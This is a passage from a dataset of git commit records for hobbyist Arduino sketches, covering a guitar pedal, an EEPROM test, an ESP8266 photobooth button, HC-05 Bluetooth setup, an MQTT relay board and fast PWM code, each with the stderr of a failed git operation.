'https:\/\/github.com\/kdomen\/Morse-Code.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"cbed735d17065a34b5b4b02f228840acf88ea489","subject":"Add variable declarations and initalizations examples","message":"Add variable declarations and initalizations examples\n","repos":"jaredkotoff\/CSUFIEEECS","old_file":"arduino_101\/arduino_101.ino","new_file":"arduino_101\/arduino_101.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jaredkotoff\/CSUFIEEECS.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"158c5ab3f903f17bf5aa2de8344eb55901cafbdf","subject":"Add PedalShield example code","message":"Add PedalShield example code\n\n.\n","repos":"dangpzanco\/autowah,dangpzanco\/autowah","old_file":"Arduino\/pedalshield_default\/pedalshield_default.ino","new_file":"Arduino\/pedalshield_default\/pedalshield_default.ino","new_contents":"\/\/ Licensed under a Creative Commons Attribution 3.0 Unported License.\n\/\/ Based on rcarduino.blogspot.com previous work.\n\/\/ www.electrosmash.com\/pedalshield\n \nint in_ADC0, in_ADC1; \/\/variables for 2 ADCs values (ADC0, ADC1)\nint POT0, POT1, POT2, out_DAC0, out_DAC1; \/\/variables for 3 pots (ADC8, ADC9, ADC10)\nint LED = 3;\nint FOOTSWITCH = 7; \nint TOGGLE = 2; \n \nvoid setup()\n{\n \/\/ADC Configuration\n ADC->ADC_MR |= 0x80; \/\/ DAC in free running mode.\n ADC->ADC_CR=2; \/\/ Starts ADC conversion.\n ADC->ADC_CHER=0x1CC0; \/\/ Enable ADC channels 0 and 1. \n \n \/\/DAC Configuration\n analogWrite(DAC0,0); \/\/ Enables DAC0\n analogWrite(DAC1,0); \/\/ Enables DAC0\n}\n \nvoid loop()\n{\n \/\/Read the ADCs\n while((ADC->ADC_ISR & 0x1CC0)!=0x1CC0);\/\/ wait for ADC 0, 1, 8, 9, 10 conversion complete.\n in_ADC0=ADC->ADC_CDR[7]; \/\/ read data from ADC0\n in_ADC1=ADC->ADC_CDR[6]; \/\/ read data from ADC1 \n POT0=ADC->ADC_CDR[10]; \/\/ read data from ADC8 \n POT1=ADC->ADC_CDR[11]; \/\/ read data from ADC9 \n POT2=ADC->ADC_CDR[12]; \/\/ read data from ADC10 \n \n \/\/Add volume feature with POT2\n out_DAC0=map(in_ADC0,0,4095,1,POT2);\n out_DAC1=map(in_ADC1,0,4095,1,POT2);\n \n \/\/Write the DACs\n dacc_set_channel_selection(DACC_INTERFACE, 0); \/\/select DAC channel 0\n dacc_write_conversion_data(DACC_INTERFACE, out_DAC0);\/\/write on DAC\n dacc_set_channel_selection(DACC_INTERFACE, 1); \/\/select DAC channel 1\n dacc_write_conversion_data(DACC_INTERFACE, out_DAC1);\/\/write on DAC\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/pedalshield_default\/pedalshield_default.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3b00ce50ff9b3c34ecef78d2dd53324bd00c5cfe","subject":"","message":"\n\nAdded a test read of EEPROM","repos":"ankanx\/Arduino_auto_config_over_Serial,ankanx\/Arduino_auto_config_over_Serial,ankanx\/Arduino_auto_config_over_Serial","old_file":"slave\/SerialEvent\/read_eeprom_test\/read_eeprom_test.ino","new_file":"slave\/SerialEvent\/read_eeprom_test\/read_eeprom_test.ino","new_contents":"#include <EepromUtil.h>\n#include <EEPROM.h>\n\nString inputString = \"\"; \/\/ a string to hold incoming data\nboolean stringComplete = false; \/\/ whether the string is complete\nboolean written = false;\nconst int BUFSIZE = 50;\nchar buf[BUFSIZE];\nvoid setup() {\n \/\/ initialize serial:\n Serial.begin(9600);\n \/\/ reserve 200 bytes for the inputString:\n inputString.reserve(200);\n}\n\nvoid loop() {\n\n delay(1000);\n EepromUtil::eeprom_read_string(1,buf,BUFSIZE);\n Serial.print(buf);\n Serial.println();\n \n \n}\n\n\/*\n SerialEvent occurs whenever a new data comes in the\n hardware serial RX. This routine is run between each\n time loop() runs, so using delay inside loop can delay\n response. Multiple bytes of data may be available.\n *\/\nvoid serialEvent() {\n while (Serial.available()) {\n \/\/ get the new byte:\n char inChar = (char)Serial.read(); \n \/\/ add it to the inputString:\n inputString += inChar;\n \/\/ if the incoming character is a newline, set a flag\n \/\/ so the main loop can do something about it:\n if (inChar == '\\n') {\n stringComplete = true;\n } \n }\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'slave\/SerialEvent\/read_eeprom_test\/read_eeprom_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bbb6f833947264abd6dc8a4f43e8fc6c767db585","subject":"Add Emo's file for setting up the esp SoC.","message":"Add Emo's file for setting up the esp SoC.\n","repos":"PhotoBoothFMI6\/PhotoBooth,PhotoBoothFMI6\/PhotoBooth","old_file":"esp.ino","new_file":"esp.ino","new_contents":"#include <Arduino.h>\n\n#include <ESP8266WiFi.h>\n#include <ESP8266HTTPClient.h>\n\n#define USE_SERIAL Serial\n\n#define BUTTON_PIN 0\n\nvoid setup( )\n{\n WiFi.mode( WIFI_STA );\n USE_SERIAL.begin( 115200 );\n delay( 10 );\n\n\n WiFi.begin( \"PhotoBooth\", \"random321\" );\n pinMode( BUTTON_PIN, INPUT );\n\n while( WiFi.status( ) != WL_CONNECTED )\n {\n delay(500);\n Serial.print( \".\" );\n }\n \n Serial.println( \"\" );\n Serial.println( \"WiFi connected\" ); \n Serial.println( \"IP address: \" );\n Serial.println( WiFi.localIP( ) );\n}\n\nvoid loop()\n{\n static unsigned long lastClick = 0;\n if( WiFi.status( ) == WL_CONNECTED )\n {\n if( !digitalRead( BUTTON_PIN ) && millis( ) > lastClick + 1000 )\n {\n USE_SERIAL.print( \"[BUTTON] is down\\n\" );\n HTTPClient http;\n \n http.begin( \"192.168.0.100\", 4567, \"\/shoot\" );\n \n int httpCode = http.GET( );\n \n if( httpCode )\n USE_SERIAL.printf( \"[HTTP] GET... code: %d\\n\", httpCode );\n else\n USE_SERIAL.print( \"[HTTP] GET... failed, no connection or no HTTP server\\n\" );\n \n lastClick = millis( );\n }\n }\n else\n USE_SERIAL.print( \"[NOT CONNECTED]\\n\" );\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'esp.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ccedc888e11f58896093b24533e012619715ad14","subject":"Added sketch for programming HC-05 modules.","message":"Added sketch for programming HC-05 modules.\n","repos":"rrgarciach\/SCADAcar_Arduino_Sketch","old_file":"bluetooth_AT_Programmer\/bluetooth_AT_Programmer.ino","new_file":"bluetooth_AT_Programmer\/bluetooth_AT_Programmer.ino","new_contents":"#include <SoftwareSerial.h>\n\n\/\/===== CONFIG VALUES =====\nint rx = 8;\nint tx = 7;\nint pinKey = 9;\nint role = 1; \/\/ 0 = slave | 1 = master\nString name = \"SCADAcar\";\nString pswd = \"0258\";\nString address = \"1122,33,DDEEFF\";\nint baudRate = 9600;\n\n\/\/ Here's a bluetooth device connect to pins 6 and 5\n SoftwareSerial bt(rx,tx);\n char btt = '0';\n char srl = '0';\n \n\nvoid setup()\n{\n Serial.begin(9600);\n Serial.println(\"System Up: BLUETOOTH SLAVE\");\n bt.begin(9600);\n \/\/SLAVE CONFIG\n pinMode(pinKey, OUTPUT);\n digitalWrite(pinKey, HIGH);\n delay(5000);\n bt.println(\"AT\"); \/\/start AT commands\n delay(1000);\n bt.print(\"AT+ROLE=\"); bt.println(role); \/\/set device as slave\n delay(1000);\n if (role == 0) {\n bt.print(\"AT+NAME=\"); bt.println(name); \/\/set device name\n delay(1000);\n bt.print(\"AT+PSWD=\"); bt.println(pswd); \/\/set device name\n delay(1000);\n } else {\n bt.print(\"AT+CMODE=0\"); \/\/send CMODE=0, set connection mode to specific address\n delay(1000); \n bt.print(\"AT+BIND=\"); bt.println(address); \/\/send BIND=??, bind HC-05 to OBD bluetooth address\n delay(1000); \n bt.print(\"AT+INIT\"); \/\/send INIT, cant connect without this cmd \n delay(1000); \n bt.print(\"AT+PAIR=\"); bt.print(address); bt.println(\",20\"); \/\/send PAIR, pair with OBD address\n delay(1000); \n bt.print(\"AT+LINK=\"); bt.println(address); \/\/send LINK, link with OBD address\n delay(1000);\n bt.print(\"AT+UART=\"); bt.println(baudRate); \/\/set baudrate\n delay(1000);\n }\n bt.println(\"AT+NAME?\"); \/\/get device name\n bt.println(\"AT+ADDR?\"); \/\/get device address (for connection)\n bt.println(\"AT+VERSION?\"); \/\/get device version\n digitalWrite(pinKey, LOW);\n}\n\nvoid loop()\n{\n if (bt.available())\n {\n String command; \/\/string to store entire command line\n while (bt.available())\n {\n btt = bt.read();\n Serial.print(btt);\n delay(50);\n }\n }\n \n if (Serial.available())\n {\n String command; \/\/string to store entire command line\n while (Serial.available())\n {\n srl = Serial.read();\n Serial.print(srl);\n bt.print(srl);\n delay(50);\n command += srl; \/\/iterates char into string\n }\n if (command == \"test\") \/\/this compares catched string vs. expected command string\n {\n Serial.print(\"COMMAND!\");\n bt.print(\"COMMAND!\");\n }\n Serial.println(\"\");\n bt.println(\"\");\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'bluetooth_AT_Programmer\/bluetooth_AT_Programmer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8130f1a68e8336d7ca239d6d8ee5c3c22d4d6de9","subject":"Alternative version with delays between mutually exclusive and auto turnoff.","message":"Alternative version with delays between mutually exclusive and auto turnoff.\n","repos":"jschaeke\/arduinoHouse","old_file":"arduinoHouse\/mqttRelayDelays\/mqttRelayDelays.ino","new_file":"arduinoHouse\/mqttRelayDelays\/mqttRelayDelays.ino","new_contents":"\n\/*\n MQTT 32 output pins for driving 2 16-channel relay boards on an arduino mega with ethernet shield.\n\n NOTE: the topic is hardcoded: domogik\/in\/relay\/r + relay number : e.g\n\n mosquitto_pub -t domogik\/in\/relay\/r1 -m 1 -> turn on\n mosquitto_pub -t domogik\/in\/relay\/r1 -m 0 -> turn off\n mosquitto_pub -t domogik\/in\/relay\/r1 -m 2 -> toggle; so turn on again\n\n By Jeroen Schaeken\n Derived from http:\/\/www.esp8266.com\/viewtopic.php?f=29&t=8746\n\n It connects to an MQTT server then:\n - on 0 switches off relay\n - on 1 switches on relay\n - on 2 switches the state of the relay\n\n It will reconnect to the server if the connection is lost using a blocking\n reconnect function. See the 'mqtt_reconnect_nonblocking' example for how to\n achieve the same result without blocking the main loop.\n\n There is a 400ms between 2 mutuallyExcluded relays\n\n Pins 2->7 are used as input (switch) detection. Their state are published on domogik\/relayArduinoPin1\n\n*\/\n#include <Ethernet.h>\n#include <PubSubClient.h>\n#include <Bounce2.h>\n#include <AsyncDelay.h>\n\n\/\/ Update these with values suitable for your network.\nbyte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xEE };\nbyte server[] = { 192, 168, 1, 30 };\nbyte ip[] = { 192, 168, 1, 98 };\n\nEthernetClient ethernetClient;\nPubSubClient client(ethernetClient);\nlong lastMsg = 0;\nchar msg[50];\nint value = 0;\nAsyncDelay delay_400ms;\nAsyncDelay delay_30s;\n\n\/\/MutuallyExclude the 'on' state between pairs of relays (for shutter to prevent up and down at the same time)\n\/\/ask R1 to turn on while R2 = on -> turns off R2 first (and broadcasts 'domogik\/in\/relay\/r2 0')\n\/\/ask R2 to turn on while R1 = on -> turns off R1 first (and broadcasts 'domogik\/in\/relay\/r1 0')\nbool isMutuallyExclude = true;\n\nconst char* outTopic = \"domogik\/relayClient\";\nconst char* inTopic = \"domogik\/in\/relay\/#\";\nconst char* outRelayTopic = \"domogik\/in\/relay\/r\";\nconst char* outPinTopic = \"domogik\/relayArduinoPin\";\n\nbool relayStates[] = {\n HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH, HIGH\n};\n\nint relayPins[] = {\n 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53\n}; \/\/ an array of pin numbers to which LEDs are attached\nint pinCount = 32;\n\n#define PIN_DETECT_1 2\n#define PIN_DETECT_2 3\n#define PIN_DETECT_3 4\n#define PIN_DETECT_4 5\n#define PIN_DETECT_5 6\n#define PIN_DETECT_6 7\nBounce debounce1 = Bounce();\nBounce debounce2 = Bounce();\nBounce debounce3 = Bounce();\nBounce debounce4 = Bounce();\nBounce debounce5 = Bounce();\nBounce debounce6 = Bounce();\n\nboolean doSwitch = false;\nboolean doAllOff = false;\n\nvoid setup_ethernet() {\n\n delay(10);\n \/\/ We start by connecting to a WiFi network\n Ethernet.begin(mac, ip);\n\n digitalWrite(13, LOW);\n delay(500);\n digitalWrite(13, HIGH);\n delay(500);\n digitalWrite(13, LOW);\n delay(500);\n digitalWrite(13, HIGH);\n\n}\n\nvoid delayTimers() {\n delay_400ms.start(400, AsyncDelay::MILLIS);\n delay_30s.start(30000, AsyncDelay::MILLIS);\n}\nvoid publishStates() {\n for (int thisPin = 0; thisPin < pinCount; thisPin++) {\n char* state = relayStates[thisPin] == HIGH ? \"0\" : \"1\";\n publishRelayState(thisPin + 1, state);\n }\n}\n\nvoid switchRelay(char* switchState, int pos) {\n if (switchState == '0') {\n \/\/Turning off is safe to be done immediately\n digitalWrite(relayPins[pos], HIGH);\n relayStates[pos] = HIGH;\n } else if (switchState == '1') {\n \/\/turning on is done in setStates\n \/\/digitalWrite(relayPins[pos], LOW);\n relayStates[pos] = LOW;\n }\n}\n\nvoid setStates() {\n if (doSwitch) {\n for (int thisPin = 0; thisPin < pinCount; thisPin++) {\n digitalWrite(relayPins[thisPin], relayStates[thisPin]);\n }\n doSwitch = false;\n doAllOff = true;\n delay_30s.start(30000, AsyncDelay::MILLIS);\n }\n}\n\nvoid turnAllOff() {\n if (doAllOff) {\n doAllOff = false;\n for (int thisPin = 0; thisPin < pinCount; thisPin++) {\n relayStates[thisPin] = HIGH;\n publishRelayState(thisPin + 1, \"0\");\n switchRelay('0', thisPin);\n }\n }\n}\nvoid publishRelayState(int relayNbr, char* state) {\n char outputTopicBuff[100];\n strcpy(outputTopicBuff, outRelayTopic);\n char relaybuffer[5];\n sprintf(relaybuffer, \"%d\", relayNbr);\n strcat(outputTopicBuff, relaybuffer);\n client.publish(outputTopicBuff, state, true);\n}\n\nvoid publishPinState(int pinNbr, char* state) {\n char outputTopicBuff[100];\n strcpy(outputTopicBuff, outPinTopic);\n char relaybuffer[5];\n sprintf(relaybuffer, \"%d\", pinNbr);\n strcat(outputTopicBuff, relaybuffer);\n client.publish(outputTopicBuff, state);\n}\n\nvoid mutuallyExcludePair(char* switchState, int pos) {\n if (pos % 2 == 0 && switchState == '1') \/\/even\n {\n if (pinCount > (pos + 1) && relayStates[pos + 1] == LOW) {\n switchRelay('0', pos + 1);\n publishRelayState(pos + 2, \"0\");\n }\n }\n else if (pos % 2 == 1 && switchState == '1') \/\/odd\n {\n if ((pos - 1) >= 0 && relayStates[pos - 1] == LOW) {\n switchRelay('0', pos - 1);\n publishRelayState(pos, \"0\");\n }\n }\n}\n\nvoid callback(char* topic, byte* payload, unsigned int length) {\n Serial.print(\"Message arrived [\");\n Serial.print(topic);\n Serial.print(\"] \");\n for (int i = 0; i < length; i++) {\n Serial.print((char)payload[i]);\n }\n Serial.println();\n \/\/Comes in as domogik\/in\/relay\/r1 ... domogik\/in\/relay\/r16\n String topicString = String(topic);\n int relayNumber = topicString.substring(18, 20).toInt();\n int posInArray = relayNumber - 1;\n char* switchState = (char)payload[0];\n\n if (switchState == '2') {\n if (relayStates[posInArray] == HIGH) {\n switchState = '1';\n }\n else {\n switchState = '0';\n }\n }\n\n if (isMutuallyExclude) {\n mutuallyExcludePair(switchState, posInArray);\n }\n\n switchRelay(switchState, posInArray);\n if (switchState == '1') {\n doSwitch = true;\n }\n\n delayTimers();\n}\n\n\nvoid reconnect() {\n while (!client.connected()) {\n if (client.connect(\"RelayboardClient\")) {\n Serial.println(\"connected\");\n client.publish(outTopic, \"RelayBoard booted\");\n publishStates();\n client.subscribe(inTopic);\n } else {\n Serial.print(\"failed, rc=\");\n Serial.print(client.state());\n Serial.println(\" try again in 5 seconds\");\n \/\/ Wait 5 seconds before retrying\n for (int i = 0; i < 5000; i++) {\n delay(1);\n }\n }\n }\n}\n\n\nvoid setup() {\n\n \/\/Relayboard\n for (int thisPin = 0; thisPin < pinCount; thisPin++) {\n digitalWrite(relayPins[thisPin], HIGH);\n pinMode(relayPins[thisPin], OUTPUT);\n }\n pinMode(13, OUTPUT);\n\n \/\/init state relayboard\n \/\/turnAllOff();\n\n delayTimers();\n\n \/\/input\n pinMode(PIN_DETECT_1, INPUT_PULLUP);\n pinMode(PIN_DETECT_2, INPUT_PULLUP);\n pinMode(PIN_DETECT_3, INPUT_PULLUP);\n pinMode(PIN_DETECT_4, INPUT_PULLUP);\n pinMode(PIN_DETECT_5, INPUT_PULLUP);\n pinMode(PIN_DETECT_6, INPUT_PULLUP);\n debounce1.attach(PIN_DETECT_1);\n debounce2.attach(PIN_DETECT_2);\n debounce3.attach(PIN_DETECT_3);\n debounce4.attach(PIN_DETECT_4);\n debounce5.attach(PIN_DETECT_5);\n debounce6.attach(PIN_DETECT_6);\n debounce1.interval(50);\n debounce2.interval(50);\n debounce3.interval(50);\n debounce4.interval(50);\n debounce5.interval(50);\n debounce6.interval(50);\n\n\n digitalWrite(13, LOW);\n delay(500);\n digitalWrite(13, HIGH);\n delay(500);\n\n Serial.begin(115200);\n setup_ethernet();\n client.setServer(server, 1883);\n client.setCallback(callback);\n}\n\nvoid loop() {\n\n if (!client.connected()) {\n reconnect();\n }\n\n if (delay_400ms.isExpired()) {\n setStates();\n delay_400ms.repeat();\n }\n if (delay_30s.isExpired()) {\n turnAllOff();\n delay_30s.repeat();\n }\n debounce1.update();\n if ( debounce1.fell() ) {\n publishPinState(1, \"1\");\n }\n if ( debounce1.rose() ) {\n publishPinState(1, \"0\");\n }\n debounce2.update();\n if ( debounce2.fell() ) {\n publishPinState(2, \"1\");\n }\n if ( debounce2.rose() ) {\n publishPinState(2, \"0\");\n }\n debounce3.update();\n if ( debounce3.fell() ) {\n publishPinState(3, \"1\");\n }\n if ( debounce3.rose() ) {\n publishPinState(3, \"0\");\n }\n debounce4.update();\n if ( debounce4.fell() ) {\n publishPinState(4, \"1\");\n }\n if ( debounce4.rose() ) {\n publishPinState(4, \"0\");\n }\n debounce5.update();\n if ( debounce5.fell() ) {\n publishPinState(5, \"1\");\n }\n if ( debounce5.rose() ) {\n publishPinState(5, \"0\");\n }\n debounce6.update();\n if ( debounce6.fell() ) {\n publishPinState(6, \"1\");\n }\n if ( debounce6.rose() ) {\n publishPinState(6, \"0\");\n }\n\n client.loop();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduinoHouse\/mqttRelayDelays\/mqttRelayDelays.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"ce8154ebf3de57314cf906874fcf5b58533c3b45","subject":"test with gearing \u2026","message":"test with gearing \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"GearingTest\/GearingTest.ino","new_file":"GearingTest\/GearingTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"78fe8676357452147ad1e4bdfb7bc6c49b54cd79","subject":"decent","message":"decent\n","repos":"foolish-products\/likewhoa-examples,foolish-products\/likewhoa-examples,foolish-products\/likewhoa-examples","old_file":"button_multichannel_rf9\/button_multichannel_rf9.ino","new_file":"button_multichannel_rf9\/button_multichannel_rf9.ino","new_contents":"\/**********************************************************\n Fast PWM Test\nDemostrates the generation of high speed PWM\nusing timers 1 and 4\nThere are two pieces of code:\nOne for pins 9, 10 and 11 using TIMER 1\nwith frequencies up to 62kHz\nOther for pins 6 and 13 using TIMER 4\nwith frequencies up to 187kHz\nHistory:\n 12\/12\/2014 - Version 1.0\n 22\/12\/2014 - Adding a missing OCR4C value\n\n http:\/\/r6500.blogspot.com\/2014\/12\/fast-pwm-on-arduino-leonardo.html\n \n***********************************************************\/\n\n\/\/ https:\/\/web.archive.org\/web\/20140101032749\/http:\/\/coolarduino.wordpress.com\/2012\/09\/19\/quasi-real-time-oscilloscope-remix\/\n\n\n\n\/**********************************************************\n Fast PWM on pins 9,10,11 (TIMER 1)\n \n Do not use analogWrite to pins 9, 10 or 11 if using \n this functions as they use the same timer.\n \n Those functions will probably conflict with the \n servo library.\n \n Uses 5 PWM frequencies between 61Hz and 62.5kHz\n \n**********************************************************\/\n\n\n\n\n\/**********************************************************\n Fast PWM on pins 6, 13 (High Speed TIMER 4)\n \n Do not use analogWrite to pins 6 or 13 if using \n this functions as they use the same timer.\n \n Those functions will conflict with the \n MSTIMER2 library.\n Uses 7 PWM frequencies between 2930Hz and 187.5kHz\n \n Timer 4 uses a PLL as input so that its clock frequency\n can be up to 96MHz on standard Arduino Leonardo.\n We limit imput frequency to 48MHz to generate 187.5kHz PWM\n If needed, we can double that up to 375kHz\n**********************************************************\/\n\n\/\/ Frequency modes for TIMER4\n#define PWM187k 1 \/\/ 187500 Hz\n#define PWM94k 2 \/\/ 93750 Hz\n#define PWM47k 3 \/\/ 46875 Hz\n#define PWM23k 4 \/\/ 23437 Hz\n#define PWM12k 5 \/\/ 11719 Hz\n#define PWM6k 6 \/\/ 5859 Hz\n#define PWM3k 7 \/\/ 2930 Hz\n\n\/\/ Direct PWM change variables\n#define PWM6 OCR4D\n#define PWM13 OCR4A\n\n\/\/ Terminal count\n#define PWM6_13_MAX OCR4C\n\n\/\/ Configure the PWM clock\n\/\/ The argument is one of the 7 previously defined modes\nvoid pwm613configure(int mode)\n{\n\/\/ TCCR4A configuration\nTCCR4A=0;\n\n\/\/ TCCR4B configuration\nTCCR4B=mode;\n\n\/\/ TCCR4C configuration\nTCCR4C=0;\n\n\/\/ TCCR4D configuration\nTCCR4D=0;\n\n\/\/ TCCR4D configuration\nTCCR4D=0;\n\n\/\/ PLL Configuration\n\/\/ Use 96MHz \/ 2 = 48MHz\n\/\/ PLLFRQ=(PLLFRQ&0xCF)|0x30;\n PLLFRQ=(PLLFRQ&0xCF)|0x10; \/\/ Will double all frequencies\n\n\/\/ Terminal count for Timer 4 PWM\nOCR4C=255;\n}\n\n\/\/ Set PWM to D6 (Timer4 D)\n\/\/ Argument is PWM between 0 and 255\nvoid pwmSet6(int value)\n{\nOCR4D=value; \/\/ Set PWM value\nDDRD|=1<<7; \/\/ Set Output Mode D7\nTCCR4C|=0x09; \/\/ Activate channel D\n}\n\n\/\/ Set PWM to D13 (Timer4 A)\n\/\/ Argument is PWM between 0 and 255\nvoid pwmSet13(int value)\n{\nOCR4A=value; \/\/ Set PWM value\nDDRC|=1<<7; \/\/ Set Output Mode C7\nTCCR4A=0x82; \/\/ Activate channel A\n}\n\n\/*************** ADDITIONAL DEFINITIONS ******************\/\n\n\/\/ Macro to converts from duty (0..100) to PWM (0..255)\n#define DUTY2PWM(x) ((255*(x))\/100)\n\n\/**********************************************************\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/ WHOA \/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/ WHOA \/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/ WHOA \/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/ WHOA \/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/ WHOA \/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ Pins \n\nint hvDigitalIn = 19; \/\/ pf6 -> A1 D19\nint hvClock = 18; \/\/ pf7 -> A0 D18\n\nint clearPin = 6; \/\/ pd7 -> A7 D6#\nint sense1 = A6; \/\/ pd4 -> A6 D4\nint sense2 = A11; \/\/ pd6 -> A11 D12\nint sense3 = 8; \/\/ pb4 -> A8 D8\nint sense4 = 9; \/\/ pb5 -> A9 D9\n\nint elEnable = 20; \/\/ pf5 -> A2 D20\n\nint detect = 5;\n\nint rxled = 30;\nint txled = 22;\nint rstled = 7;\n\n\/\/ This is hacky. \n\/\/ Work around from this changing when the program is loaded from the IDE. \nint capSenseFrequency = 1;\n\n\/\/ State \n\n#define channelCount 4\nint switched[] = {0, 0, 0, 0};\nbool glow[] = {true, true, true, true};\nbool allGlow[] = {true, true, true, true};\nbool noGlow[] = {false, false, false, false};\n\n#define prevValSize 50\nint prevVal[prevValSize][channelCount];\n\n#define sampleCount 3\nint sampleAll[channelCount][sampleCount];\nint sampleAllVal[channelCount];\n\nint samples[sampleCount];\nint sampleVal = 0;\n\n\/\/ Helpers \n\nint tempGlow[channelCount];\nbyte tempGlow_unroll[channelCount * 2];\nvoid switchOutputs(bool* glow) { \n \/\/ Make pins on the layout correspond to the pins on the switch \n tempGlow[2] = glow[0];\n tempGlow[3] = glow[1];\n tempGlow[1] = glow[2];\n tempGlow[0] = glow[3];\n\n \/\/ Process bit flips ahead of sending serial signal \n PORTF = PORTF | B10000000;\n for (int i = 0; i < 8; i++) {\n if (tempGlow[i \/ 2] == 1) { \n tempGlow_unroll[i] = PORTF | B01000000;\n }\n else { \n tempGlow_unroll[i] = PORTF & B10111111;\n }\n }\n \n for (int i = 0; i < 8; i++) {\n PORTF = tempGlow_unroll[i];\n \/\/ digitalWrite(hvClock, LOW); \n PORTF = PORTF & B01111111;\n \/\/ digitalWrite(hvClock, HIGH);\n\/\/ PORTF = PORTF | B10000000;\n }\n PORTF = PORTF | B10000000;\n\n \n}\n\nvoid switchHalfOutputsA() { \n for (int i = 0; i < 4; i++) {\n PORTF = PORTF | B01000000;\n \/\/ PORTF = PORTF | (isSense_active[i] << 6);\n PORTF = PORTF & B01111111;\n PORTF = PORTF | B10000000;\n \n PORTF = PORTF & B10111111;\n PORTF = PORTF & B01111111;\n PORTF = PORTF | B10000000;\n }\n}\n\nvoid switchHalfOutputsB() { \n for (int i = 0; i < 4; i++) {\n PORTF = PORTF & B10111111;\n PORTF = PORTF & B01111111;\n PORTF = PORTF | B10000000;\n \n PORTF = PORTF | B01000000;\n \/\/ PORTF = PORTF | (isSense_active[i] << 6);\n PORTF = PORTF & B01111111;\n PORTF = PORTF | B10000000;\n }\n}\n\n\/\/ This could be fancier...\nvoid sort(int *a, int len)\n{\n for (int i = 1; i < len; ++i)\n {\n int j = a[i];\n int k;\n for (k = i - 1; (k >= 0) && (j < a[k]); k--)\n {\n a[k + 1] = a[k];\n }\n a[k + 1] = j;\n }\n}\n\n\/\/ This mutates the input array! Beware!\nfloat getMedian(int* array, int len) { \n\/\/ int len = sizeof(array);\n sort(array, len); \n float tempVal = 0;\n return array[(len \/ 2) + 1];\n \n\/\/ for (int i = (len \/ 2) - 1; i < (len \/ 2) + 2; i++) {\n\/\/ tempVal += array[i];\n\/\/ }\n\/\/ return tempVal \/ 3;\n}\n\nvoid ledsOff() {\n digitalWrite(rxled, LOW);\n digitalWrite(txled, LOW);\n digitalWrite(rstled, LOW);\n}\n\nvoid ledsOn() {\n digitalWrite(rxled, HIGH);\n digitalWrite(txled, HIGH);\n digitalWrite(rstled, HIGH);\n}\n\nunsigned long microsdelay;\n\n\/\/ Arduino I\/O is real slow. Opaque bitwise port manipulation ftw!\nint adcSensePorts[] = {B00000000, B00000001, B00000011, B00000100};\n\n\/\/ this is internal, use the interface functions below!\nbool toSense_internal[] = {true, true, true, true};\nint senseResults_internal[] = {0, 0, 0, 0};\n\nvoid initSense_withResistor(){ \n \/\/ listen to resistor\n\n switchOutputs(noGlow);\n \/\/ digitalWrite(elEnable, HIGH);\n PORTF = PORTF | B00100000;\n delayMicroseconds(100);\n \n\/\/ microsdelay = micros();\n while(bitRead(PINC, 6));\n switchOutputs(allGlow);\n switchHalfOutputsA();\n while(!bitRead(PINC, 6));\n while(bitRead(PINC, 6));\n while(!bitRead(PINC, 6));\n while(bitRead(PINC, 6));\n\n\n switchOutputs(noGlow);\n delayMicroseconds(30);\n\n\/\/ microsdelay = micros() - microsdelay;\n}\n\nint spinner = 0;\nvoid initSense_withoutResistor() { \n \/\/ Hacky. Allows charge to disappate faster - kills flicker.\n\n\/\/ switchOutputs(allGlow);\n\/\/ microsdelay = 0;\n\/\/ while(bitRead(PINC, 6) || microsdelay < 20){\n\/\/ microsdelay++;\n\/\/ }\n \/\/ digitalWrite(elEnable, LOW);\n PORTF = PORTF & B11011111;\n for (int i = 0; i < 30; i++) {\n switchHalfOutputsA();\n spinner = 0;\n while(spinner < 34) { \n spinner++;\n }\n \n switchHalfOutputsB();\n spinner = 0;\n 